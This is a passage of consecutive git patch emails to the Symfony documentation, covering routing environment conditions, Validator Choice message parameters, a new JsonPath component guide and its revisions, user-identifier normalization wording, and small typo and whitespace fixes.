From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 Jun 2025 12:07:51 +0200
Subject: [PATCH 7090/7107] Add a missing doc redirection

---
 _build/redirection_map | 1 +
 1 file changed, 1 insertion(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 3bad633e0e1..896c58a3022 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -569,3 +569,4 @@
 /frontend/encore/server-data /frontend/server-data
 /components/serializer /serializer
 /serializer/custom_encoder /serializer/encoders#serializer-custom-encoder
+/components/string /string

From f599ae4f3e2ca4dc48f9c77455acffed2b2ce9ec Mon Sep 17 00:00:00 2001
From: Nicolas Giraud <nicolas.giraud.dev@gmail.com>
Date: Fri, 13 Jun 2025 11:33:15 +0200
Subject: [PATCH 7091/7107] [Validator] Fix parameters list in
 Choice::$multipleMessage option

---
 reference/constraints/Choice.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 3ef8c802815..cb1738eb7a6 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -304,6 +304,7 @@ Parameter          Description
 =================  ============================================================
 ``{{ choices }}``  A comma-separated list of available choices
 ``{{ value }}``    The current (invalid) value
+``{{ limit }}``    The maximum number of selectable choices
 =================  ============================================================
 
 match
@@ -362,6 +363,7 @@ Parameter          Description
 =================  ============================================================
 ``{{ choices }}``  A comma-separated list of available choices
 ``{{ value }}``    The current (invalid) value
+``{{ limit }}``    The minimum number of selectable choices
 =================  ============================================================
 
 ``multiple``
@@ -385,11 +387,11 @@ is not in the array of valid choices.
 
 You can use the following parameters in this message:
 
-===============  ==============================================================
-Parameter        Description
-===============  ==============================================================
-``{{ value }}``  The current (invalid) value
-``{{ label }}``  Corresponding form field label
-===============  ==============================================================
+=================  ============================================================
+Parameter          Description
+=================  ============================================================
+``{{ choices }}``  A comma-separated list of available choices
+``{{ value }}``    The current (invalid) value
+=================  ============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From e86d6a998d5f6297bdce3c5fde4886be0b15dc79 Mon Sep 17 00:00:00 2001
From: Chris Smith <chris.smith@widerplan.com>
Date: Fri, 13 Jun 2025 15:54:53 +0100
Subject: [PATCH 7092/7107] Document route environment condition that was added
 in 5.3

---
 routing.rst | 66 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 66 insertions(+)

diff --git a/routing.rst b/routing.rst
index 38833a16523..be915855785 100644
--- a/routing.rst
+++ b/routing.rst
@@ -254,6 +254,72 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
 .. _routing-matching-expressions:
 
+Matching Environments
+~~~~~~~~~~~~~~~~~~~~~
+
+The ``env`` option can be used to make a route conditional on the
+:ref:`configuration environment <configuration-environments>`, the route will
+only be registered if the environment matches.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class DefaultController extends AbstractController
+        {
+            #[Route(
+                '/tools',
+                name: 'tools',
+                env: 'dev',
+            )]
+            public function developerTools(): Response
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        tools:
+            path:       /tools
+            controller: App\Controller\DefaultController::developerTools
+            env:        dev
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="tools" path="/tools" controller="App\Controller\DefaultController::developerTools">
+                <env>dev</env>
+            </route>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use App\Controller\DefaultController;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes): void {
+            $routes->add('tools', '/tools')
+                ->controller([DefaultController::class, 'developerTools'])
+                ->env('dev')
+            ;
+        };
+
 Matching Expressions
 ~~~~~~~~~~~~~~~~~~~~
 

From 432f468059889548545b4959ade7473715628c16 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=93=D1=80=D0=B8=D0=B3=D0=BE=D1=80=D0=B8=D0=B9?=
 <grin180898@mail.ru>
Date: Sun, 15 Jun 2025 19:37:58 +0300
Subject: [PATCH 7093/7107] Update tree.rst

fix($ sign before the variable)
---
 components/console/helpers/tree.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index b5839b74a26..0839fb943e2 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -115,7 +115,7 @@ class and adding nodes to it::
     $testsNode = new TreeNode('tests/');
     $functionalTestsNode = new TreeNode('Functional/');
     $testsNode->addChild($functionalTestsNode);
-    $root->addChild(testsNode);
+    $root->addChild($testsNode);
 
     $tree = TreeHelper::createTree($io, $root);
     $tree->render();

From abc2df67c5e74731eebbd975e178600c30982112 Mon Sep 17 00:00:00 2001
From: Vincent Amstoutz <vincent.amstoutz@outlook.com>
Date: Thu, 12 Jun 2025 16:59:06 +0200
Subject: [PATCH 7094/7107] docs(json-path): initiate doc for the component

---
 components/json_path.rst | 246 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 246 insertions(+)
 create mode 100644 components/json_path.rst

diff --git a/components/json_path.rst b/components/json_path.rst
new file mode 100644
index 00000000000..bd0f7c72dcf
--- /dev/null
+++ b/components/json_path.rst
@@ -0,0 +1,246 @@
+The JsonPath Component
+======================
+
+.. versionadded:: 7.3
+
+    The JsonPath component was introduced in Symfony 7.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+The JsonPath component provides a powerful way to query and extract data from
+JSON structures. It implements the `RFC 9535 - JSONPath`_
+standard, allowing you to navigate complex JSON data with ease.
+
+Just as the :doc:`DomCrawler component </components/dom_crawler>` allows you to navigate and query HTML/XML documents
+using XPath, the JsonPath component provides a similar experience to traverse and search JSON structures
+using JSONPath expressions. The component also offers an abstraction layer for data extraction.
+
+Installation
+------------
+
+You can install the component in your project using Composer:
+
+.. code-block:: terminal
+
+    $ composer require symfony/json-path
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
+object from a JSON string. For the following examples, we'll use this sample
+"bookstore" JSON data::
+
+    use Symfony\Component\JsonPath\JsonCrawler;
+
+    $json = <<<'JSON'
+    {
+        "store": {
+            "book": [
+                {
+                    "category": "reference",
+                    "author": "Nigel Rees",
+                    "title": "Sayings of the Century",
+                    "price": 8.95
+                },
+                {
+                    "category": "fiction",
+                    "author": "Evelyn Waugh",
+                    "title": "Sword of Honour",
+                    "price": 12.99
+                },
+                {
+                    "category": "fiction",
+                    "author": "Herman Melville",
+                    "title": "Moby Dick",
+                    "isbn": "0-553-21311-3",
+                    "price": 8.99
+                },
+                {
+                    "category": "fiction",
+                    "author": "John Ronald Reuel Tolkien",
+                    "title": "The Lord of the Rings",
+                    "isbn": "0-395-19395-8",
+                    "price": 22.99
+                }
+            ],
+            "bicycle": {
+                "color": "red",
+                "price": 399
+            }
+        }
+    }
+    JSON;
+
+    $crawler = new JsonCrawler($json);
+
+Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start querying
+the data. This method always returns an array of matching values.
+
+Querying with Expressions
+-------------------------
+
+The primary way to query the JSON is by passing a JSONPath expression string
+to the :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+
+Accessing a Specific Property
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Use dot-notation for object keys and square brackets for array indices. The root
+of the document is represented by ``$``::
+
+    // Get the title of the first book in the store
+    $titles = $crawler->find('$.store.book[0].title');
+
+    // $titles is ['Sayings of the Century']
+
+While dot-notation is common, JSONPath offers alternative syntaxes which can be more flexible. For instance, bracket notation (`['...']`) is required if a key contains spaces or special characters::
+
+    // This is equivalent to the previous example and works with special keys
+    $titles = $crawler->find('$["store"]["book"][0]["title"]');
+
+    // You can also build the query programmatically for more complex scenarios
+    use Symfony\Component\JsonPath\JsonPath;
+
+    $path = (new JsonPath())->key('store')->key('book')->first()->key('title');
+    $titles = $crawler->find($path);
+
+Searching with the Descendant Operator
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The descendant operator (``..``) recursively searches for a given key, allowing
+you to find values without specifying the full path::
+
+    // Get all authors from anywhere in the document
+    $authors = $crawler->find('$..author');
+
+    // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
+
+Filtering Results
+~~~~~~~~~~~~~~~~~
+
+JSONPath includes a powerful filter syntax (``?(<expression>)``) to select items
+based on a condition. The current item within the filter is referenced by ``@``::
+
+    // Get all books with a price less than 10
+    $cheapBooks = $crawler->find('$.store.book[?(@.price < 10)]');
+
+    /*
+    $cheapBooks contains two book objects:
+    the one by "Nigel Rees" and the one by "Herman Melville"
+    */
+
+Building Queries Programmatically
+---------------------------------
+
+For more dynamic or complex query building, you can use the fluent API provided
+by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This allows you
+to construct a query object step-by-step. The ``JsonPath`` object can then be
+passed to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+
+The main advantage of the programmatic builder is that it automatically handles
+the correct escaping of keys and values, preventing syntax errors::
+
+    use Symfony\Component\JsonPath\JsonPath;
+
+    $path = (new JsonPath())
+        ->key('store')       // Selects the 'store' key
+        ->key('book')        // Then the 'book' key
+        ->index(1);          // Then the item at index 1 (the second book)
+
+    // The created $path object is equivalent to the string '$["store"]["book"][1]'
+    $book = $crawler->find($path);
+
+    // $book contains the book object for "Sword of Honour"
+
+The :class:`Symfony\\Component\\JsonPath\\JsonPath` class provides several methods to build your query:
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::key`
+    Adds a key selector. The key name will be properly escaped::
+
+        // Creates the path '$["key\"with\"quotes"]'
+        $path = (new JsonPath())->key('key"with"quotes');
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::deepScan`
+    Adds the descendant operator ``..`` to perform a recursive search from the
+    current point in the path::
+
+        // Get all prices in the store: '$["store"]..["price"]'
+        $path = (new JsonPath())->key('store')->deepScan()->key('price');
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::all`
+    Adds the wildcard operator ``[*]`` to select all items in an array or object::
+
+        // Creates the path '$["store"]["book"][*]'
+        $path = (new JsonPath())->key('store')->key('book')->all();
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::index`
+    Adds an array index selector.
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::first` / :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
+    Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
+
+        // Get the last book: '$["store"]["book"][-1]'
+        $path = (new JsonPath())->key('store')->key('book')->last();
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::slice`
+    Adds an array slice selector ``[start:end:step]``::
+
+        // Get books from index 1 up to (but not including) index 3
+        // Creates the path '$["store"]["book"][1:3]'
+        $path = (new JsonPath())->key('store')->key('book')->slice(1, 3);
+
+        // Get every second book from the first four books
+        // Creates the path '$["store"]["book"][0:4:2]'
+        $path = (new JsonPath())->key('store')->key('book')->slice(0, 4, 2);
+
+* :method:`Symfony\\Component\\JsonPath\\JsonPath::filter`
+    Adds a filter expression. The expression string is the part that goes inside
+    the ``?()`` syntax::
+
+        // Get expensive books: '$["store"]["book"][?(@.price > 20)]'
+        $path = (new JsonPath())
+            ->key('store')
+            ->key('book')
+            ->filter('@.price > 20');
+
+Advanced Querying
+-----------------
+
+For a complete overview of advanced operators like wildcards and functions within
+filters, please refer to the `Querying with Expressions`_ section above. All these
+features are supported and can be combined with the programmatic builder where
+appropriate (e.g., inside a ``filter()`` expression).
+
+Error Handling
+--------------
+
+The component will throw specific exceptions for invalid input or queries:
+
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidArgumentException`: Thrown if the input to the ``JsonCrawler`` constructor is not a valid JSON string.
+* :class:`Symfony\\Component\\JsonPath\\Exception\\InvalidJsonStringInputException`: Thrown during a ``find()`` call if the JSON string is malformed (e.g., syntax error).
+* :class:`Symfony\\Component\\JsonPath\\Exception\\JsonCrawlerException`: Thrown for errors within the JsonPath expression itself, such as using an unknown function::
+
+    use Symfony\Component\JsonPath\Exception\InvalidJsonStringInputException;
+    use Symfony\Component\JsonPath\Exception\JsonCrawlerException;
+
+    try {
+        // Example of malformed JSON
+        $crawler = new JsonCrawler('{"store": }');
+        $crawler->find('$..*');
+    } catch (InvalidJsonStringInputException $e) {
+        // ... handle error
+    }
+
+    try {
+        // Example of an invalid query
+        $crawler->find('$.store.book[?unknown_function(@.price)]');
+    } catch (JsonCrawlerException $e) {
+        // ... handle error
+    }
+
+Learn more
+----------
+
+.. _`RFC 9535 - JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535

From a624ac1d49de48c8293fcb32c362e5881ce98224 Mon Sep 17 00:00:00 2001
From: Niklas <niklas.brunberg@cag.se>
Date: Mon, 16 Jun 2025 13:47:44 +0200
Subject: [PATCH 7095/7107] Fix spelling in Scheduler docs

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index f88d9e4f328..5028c00e2ec 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -237,7 +237,7 @@ this will create a very long running list of schedules at that exact time.
 This may cause an issue if a task has a memory leak.
 
 You can add a hash symbol (``#``) in expressions to generate random values.
-Athough the values are random, they are predictable and consistent because they
+Although the values are random, they are predictable and consistent because they
 are generated based on the message. A message with string representation ``my task``
 and a defined frequency of ``# # * * *`` will have an idempotent frequency
 of ``56 20 * * *`` (every day at 8:56pm).

From 59b34b4a19ffe4fe138450e7610033ef51f89e24 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:17:54 +0200
Subject: [PATCH 7096/7107] minor

---
 components/json_path.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index bd0f7c72dcf..f4a5f8a2d7d 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -240,7 +240,4 @@ The component will throw specific exceptions for invalid input or queries:
         // ... handle error
     }
 
-Learn more
-----------
-
 .. _`RFC 9535 - JSONPath`: https://datatracker.ietf.org/doc/html/rfc9535

From 85127397cc5bb77e4cb2dc269b263d3c2ef5ed7c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:19:31 +0200
Subject: [PATCH 7097/7107] minor

---
 .doctor-rst.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 2f0d5852c7f..5c3d2fd7687 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -74,7 +74,6 @@ rules:
     versionadded_directive_should_have_version: ~
     yaml_instead_of_yml_suffix: ~
 
-    #   master
     versionadded_directive_major_version:
         major_version: 6
 

From b6bbd96745833faef10337f647d2e3df798f5278 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:22:04 +0200
Subject: [PATCH 7098/7107] minor

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e14e4b9e4b5..6a1438322fa 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -797,9 +797,9 @@ variable. Let's say you want the first or the last comment of a product dependin
         Comment $comment
     ): Response {
     }
-    
+
 .. _doctrine-entity-value-resolver-resolve-target-entities:
-    
+
 Fetch via Interfaces
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -818,7 +818,7 @@ resolved automatically::
     ): Response {
         // ...
     }
-        
+
 .. versionadded:: 7.3
 
     Support for target entity resolution in the ``EntityValueResolver`` was

From 26defdfc2105699b2e91a9792385fd44f8b8f10a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 16 Jun 2025 18:24:30 +0200
Subject: [PATCH 7099/7107] minor

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index fab25ea910a..bc3d28c90ff 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -162,7 +162,7 @@ class, call this method in the ``loadExtension()`` method of the main bundle cla
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-    
+
     class MyBundle extends AbstractBundle
     {
         public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void

From d4c4f2dd5aad66314d56cbd008b68627b216d29a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 16 Jun 2025 21:46:46 +0200
Subject: [PATCH 7100/7107] [Security]: Removing recommendations to lowercase
 email adresses

Closes https://github.com/symfony/symfony-docs/issues/21080

Page: https://symfony.com/doc/current/security/custom_authenticator.html#user-identifier
---
 security/custom_authenticator.rst | 34 ++++++-------------------------
 1 file changed, 6 insertions(+), 28 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index d3dab39c719..035054d0899 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -282,39 +282,17 @@ associated with the user. It allows loading the user through the configured
             }
         }
 
-It's a good practice to normalize the user identifier before using it. This
-ensures that variations like "john.doe", "John.Doe", or "JOHN.DOE" are treated
-as the same user.
-
-Normalization typically involves converting the identifier to lowercase and
-trimming extra spaces. For example, Google considers the following email
-addresses equivalent: ``john.doe@gmail.com``, ``j.hon.d.oe@gmail.com``, and
-``johndoe@gmail.com``. This is due to normalization rules that remove dots and
-lowercase the address.
-
-In enterprise environments, users might authenticate using different identifier
-formats, such as:
-
-* ``john.doe@acme.com``
-* ``acme.com\jdoe``
-* ``https://acme.com/+jdoe``
-* ``acct:jdoe@acme.com``
-
-Applying normalization (e.g. lowercasing, trimming, or unifying formats) helps
-ensure consistent identity resolution and prevents duplication caused by
-format differences.
-
-In Symfony applications, you can optionally pass a user identifier normalizer as
-the third argument to the ``UserBadge``. This callable receives the ``$userIdentifier``
-and must return a normalized string.
+You can normalize the user identifier before using it (e.g. to ensure that variations like
+"john.doe", "John.Doe", or "JOHN.DOE" are treated as the same user).
+In Symfony applications, you can optionally pass a user identifier normalizer as the
+third argument to the ``UserBadge``. This callable receives the ``$userIdentifier`` and must return a string.
 
 .. versionadded:: 7.3
 
     Support for user identifier normalizers was introduced in Symfony 7.3.
 
-For instance, the example below uses a normalizer that converts usernames to
-a normalized, ASCII-only, lowercase format suitable for consistent comparison
-and storage::
+The example below uses a normalizer that converts usernames to
+a normalized, ASCII-only, lowercase format::
 
     // src/Security/NormalizedUserBadge.php
     namespace App\Security;

From 287d274224af825b45cbd699b3f73f7717a23685 Mon Sep 17 00:00:00 2001
From: eltharin <eltharin18@hotmail.fr>
Date: Tue, 17 Jun 2025 08:34:18 +0200
Subject: [PATCH 7101/7107] repair codeblock

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7a031c886e7..3a547042de7 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -1290,7 +1290,7 @@ be used directly on the class of the service you want to configure::
     }
 
 You can apply the ``#[AsTaggedItem]`` attribute multiple times to register the
-same service under different indexes:
+same service under different indexes::
 
     #[AsTaggedItem(index: 'handler_one', priority: 5)]
     #[AsTaggedItem(index: 'handler_two', priority: 20)]

From 974e9d1955428042ca48ed01f116c557152bfc34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 17 Jun 2025 17:58:59 +0200
Subject: [PATCH 7102/7107] Minor tweaks

---
 security/custom_authenticator.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 035054d0899..462ec21521c 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -282,17 +282,19 @@ associated with the user. It allows loading the user through the configured
             }
         }
 
-You can normalize the user identifier before using it (e.g. to ensure that variations like
-"john.doe", "John.Doe", or "JOHN.DOE" are treated as the same user).
-In Symfony applications, you can optionally pass a user identifier normalizer as the
-third argument to the ``UserBadge``. This callable receives the ``$userIdentifier`` and must return a string.
+Some applications normalize user identifiers before processing them. For example,
+lowercasing identifiers helps treat values like "john.doe", "John.Doe", or
+"JOHN.DOE" as equivalent in systems where identifiers are case-insensitive.
+
+If needed, you can pass a normalizer as the third argument to ``UserBadge``.
+This callable receives the ``$userIdentifier`` and must return a string.
 
 .. versionadded:: 7.3
 
     Support for user identifier normalizers was introduced in Symfony 7.3.
 
-The example below uses a normalizer that converts usernames to
-a normalized, ASCII-only, lowercase format::
+The example below uses a normalizer that converts usernames to a normalized,
+ASCII-only, lowercase format::
 
     // src/Security/NormalizedUserBadge.php
     namespace App\Security;

From f547cc7ba7149c8355104257810c7292ceadcfb5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 18 Jun 2025 15:38:58 +0200
Subject: [PATCH 7103/7107] [JsonPath] Minor fixes and tweaks

---
 components/json_path.rst | 151 ++++++++++++++++++++-------------------
 1 file changed, 78 insertions(+), 73 deletions(-)

diff --git a/components/json_path.rst b/components/json_path.rst
index f4a5f8a2d7d..ec5db0e8e74 100644
--- a/components/json_path.rst
+++ b/components/json_path.rst
@@ -6,13 +6,15 @@ The JsonPath Component
     The JsonPath component was introduced in Symfony 7.3 as an
     :doc:`experimental feature </contributing/code/experimental>`.
 
-The JsonPath component provides a powerful way to query and extract data from
-JSON structures. It implements the `RFC 9535 - JSONPath`_
-standard, allowing you to navigate complex JSON data with ease.
+The JsonPath component lets you query and extract data from JSON structures.
+It implements the `RFC 9535 – JSONPath`_ standard, allowing you to navigate
+complex JSON data.
 
-Just as the :doc:`DomCrawler component </components/dom_crawler>` allows you to navigate and query HTML/XML documents
-using XPath, the JsonPath component provides a similar experience to traverse and search JSON structures
-using JSONPath expressions. The component also offers an abstraction layer for data extraction.
+Similar to the :doc:`DomCrawler component </components/dom_crawler>`, which lets
+you navigate and query HTML or XML documents with XPath, the JsonPath component
+offers the same convenience for traversing and searching JSON structures through
+JSONPath expressions. The component also provides an abstraction layer for data
+extraction.
 
 Installation
 ------------
@@ -29,8 +31,8 @@ Usage
 -----
 
 To start querying a JSON document, first create a :class:`Symfony\\Component\\JsonPath\\JsonCrawler`
-object from a JSON string. For the following examples, we'll use this sample
-"bookstore" JSON data::
+object from a JSON string. The following examples use this sample "bookstore"
+JSON data::
 
     use Symfony\Component\JsonPath\JsonCrawler;
 
@@ -75,8 +77,8 @@ object from a JSON string. For the following examples, we'll use this sample
 
     $crawler = new JsonCrawler($json);
 
-Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method to start querying
-the data. This method always returns an array of matching values.
+Once you have the crawler instance, use its :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find`
+method to start querying the data. This method returns an array of matching values.
 
 Querying with Expressions
 -------------------------
@@ -87,24 +89,26 @@ to the :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 Accessing a Specific Property
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use dot-notation for object keys and square brackets for array indices. The root
+Use dot notation for object keys and square brackets for array indices. The root
 of the document is represented by ``$``::
 
-    // Get the title of the first book in the store
+    // get the title of the first book in the store
     $titles = $crawler->find('$.store.book[0].title');
 
     // $titles is ['Sayings of the Century']
 
-While dot-notation is common, JSONPath offers alternative syntaxes which can be more flexible. For instance, bracket notation (`['...']`) is required if a key contains spaces or special characters::
+Dot notation is the default, but JSONPath provides other syntaxes for cases where
+it doesn't work. Use bracket notation (``['...']``) when a key contains spaces
+or special characters::
 
-    // This is equivalent to the previous example and works with special keys
+    // this is equivalent to the previous example
     $titles = $crawler->find('$["store"]["book"][0]["title"]');
 
-    // You can also build the query programmatically for more complex scenarios
-    use Symfony\Component\JsonPath\JsonPath;
+    // this expression requires brackets because some keys use dots or spaces
+    $titles = $crawler->find('$["store"]["book collection"][0]["title.original"]');
 
-    $path = (new JsonPath())->key('store')->key('book')->first()->key('title');
-    $titles = $crawler->find($path);
+    // you can combine both notations
+    $titles = $crawler->find('$["store"].book[0].title');
 
 Searching with the Descendant Operator
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -112,7 +116,7 @@ Searching with the Descendant Operator
 The descendant operator (``..``) recursively searches for a given key, allowing
 you to find values without specifying the full path::
 
-    // Get all authors from anywhere in the document
+    // get all authors from anywhere in the document
     $authors = $crawler->find('$..author');
 
     // $authors is ['Nigel Rees', 'Evelyn Waugh', 'Herman Melville', 'John Ronald Reuel Tolkien']
@@ -120,113 +124,114 @@ you to find values without specifying the full path::
 Filtering Results
 ~~~~~~~~~~~~~~~~~
 
-JSONPath includes a powerful filter syntax (``?(<expression>)``) to select items
-based on a condition. The current item within the filter is referenced by ``@``::
+JSONPath includes a filter syntax (``?(expression)``) to select items based on
+a condition. The current item within the filter is referenced by ``@``::
 
-    // Get all books with a price less than 10
+    // get all books with a price less than 10
     $cheapBooks = $crawler->find('$.store.book[?(@.price < 10)]');
 
-    /*
-    $cheapBooks contains two book objects:
-    the one by "Nigel Rees" and the one by "Herman Melville"
-    */
-
 Building Queries Programmatically
 ---------------------------------
 
-For more dynamic or complex query building, you can use the fluent API provided
-by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This allows you
-to construct a query object step-by-step. The ``JsonPath`` object can then be
-passed to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
+For more dynamic or complex query building, use the fluent API provided
+by the :class:`Symfony\\Component\\JsonPath\\JsonPath` class. This lets you
+construct a query object step by step. The ``JsonPath`` object can then be passed
+to the crawler's :method:`Symfony\\Component\\JsonPath\\JsonCrawler::find` method.
 
 The main advantage of the programmatic builder is that it automatically handles
-the correct escaping of keys and values, preventing syntax errors::
+escaping of keys and values, preventing syntax errors::
 
     use Symfony\Component\JsonPath\JsonPath;
 
     $path = (new JsonPath())
-        ->key('store')       // Selects the 'store' key
-        ->key('book')        // Then the 'book' key
-        ->index(1);          // Then the item at index 1 (the second book)
+        ->key('store') // selects the 'store' key
+        ->key('book')  // then the 'book' key
+        ->index(1);    // then the second item (indexes start at 0)
 
-    // The created $path object is equivalent to the string '$["store"]["book"][1]'
+    // the created $path object is equivalent to the string '$["store"]["book"][1]'
     $book = $crawler->find($path);
 
     // $book contains the book object for "Sword of Honour"
 
-The :class:`Symfony\\Component\\JsonPath\\JsonPath` class provides several methods to build your query:
+The :class:`Symfony\\Component\\JsonPath\\JsonPath` class provides several
+methods to build your query:
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::key`
-    Adds a key selector. The key name will be properly escaped::
+  Adds a key selector. The key name is properly escaped::
 
-        // Creates the path '$["key\"with\"quotes"]'
-        $path = (new JsonPath())->key('key"with"quotes');
+      // creates the path '$["key\"with\"quotes"]'
+      $path = (new JsonPath())->key('key"with"quotes');
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::deepScan`
-    Adds the descendant operator ``..`` to perform a recursive search from the
-    current point in the path::
+  Adds the descendant operator ``..`` to perform a recursive search from the
+  current point in the path::
 
-        // Get all prices in the store: '$["store"]..["price"]'
-        $path = (new JsonPath())->key('store')->deepScan()->key('price');
+      // get all prices in the store: '$["store"]..["price"]'
+      $path = (new JsonPath())->key('store')->deepScan()->key('price');
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::all`
-    Adds the wildcard operator ``[*]`` to select all items in an array or object::
+  Adds the wildcard operator ``[*]`` to select all items in an array or object::
 
-        // Creates the path '$["store"]["book"][*]'
+        // creates the path '$["store"]["book"][*]'
         $path = (new JsonPath())->key('store')->key('book')->all();
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::index`
-    Adds an array index selector.
+  Adds an array index selector. Index numbers start at ``0``.
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::first` / :method:`Symfony\\Component\\JsonPath\\JsonPath::last`
-    Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
+  Shortcuts for ``index(0)`` and ``index(-1)`` respectively::
 
-        // Get the last book: '$["store"]["book"][-1]'
-        $path = (new JsonPath())->key('store')->key('book')->last();
+      // get the last book: '$["store"]["book"][-1]'
+      $path = (new JsonPath())->key('store')->key('book')->last();
 
 * :method:`Symfony\\Component\\JsonPath\\JsonPath::slice`
-    Adds an array slice selector ``[start:end:step]``::
+  Adds an array slice selector ``[start:end:step]``::
 
-        // Get books from index 1 up to (but not including) index 3
-        // Creates the path '$["store"]["book"][1:3]'
-        $path = (new JsonPath())->key('store')->key('book')->slice(1, 3);
+      // get books from index 1 up to (but not including) index 3
+      // creates the path '$["store"]["book"][1:3]'
